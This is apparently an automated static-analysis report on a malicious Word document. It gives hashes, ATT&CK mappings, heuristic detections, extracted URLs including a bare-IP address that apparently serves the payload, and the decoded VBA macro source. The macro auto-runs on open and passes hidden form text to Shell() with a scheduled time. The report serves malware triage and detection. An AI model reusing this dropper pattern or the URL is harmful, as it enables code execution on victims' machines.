Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10f163f27391c8a9…

MALICIOUS

Office (OLE)

179.5 KB Created: 2019-06-17 20:30:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: d8725fee71419db0d34bda292e4c023a SHA-1: 0309ba444c72f24e773843f7794d16e967949017 SHA-256: 10f163f27391c8a9cae6676af2871604b34fbc0cff548b086cd5d1cfe1007949
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that triggers a Shell() call. This indicates the document is designed to execute arbitrary code upon opening after the user enables macros, a common lure technique. The Shell() function is used to execute a command, likely downloading and running a second-stage payload from one of the embedded URLs.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6995814-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6995814-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://149.5.209.70/02m In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1194 bytes
SHA-256: 1f0245d93700aabafb35cacaf433e96e1d02eecfaf20761f15ede39495e54b07
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
UserForm2.Show
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{754FE6C8-894D-421A-BE2E-219BD6703826}{48CDF552-CD0A-4C57-9D93-034C76ACB2F6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{CD3D3734-5001-432D-9F0F-6F37367B1986}{377F3929-FC37-4EBB-87F3-A93FE2E1415F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
Dim time
time = Format(Now + TimeSerial(0, 0, 19), "hh:mm")


Shell Replace(UserForm1.TextBox1.Text, "12:12", time)
Unload Me
End Sub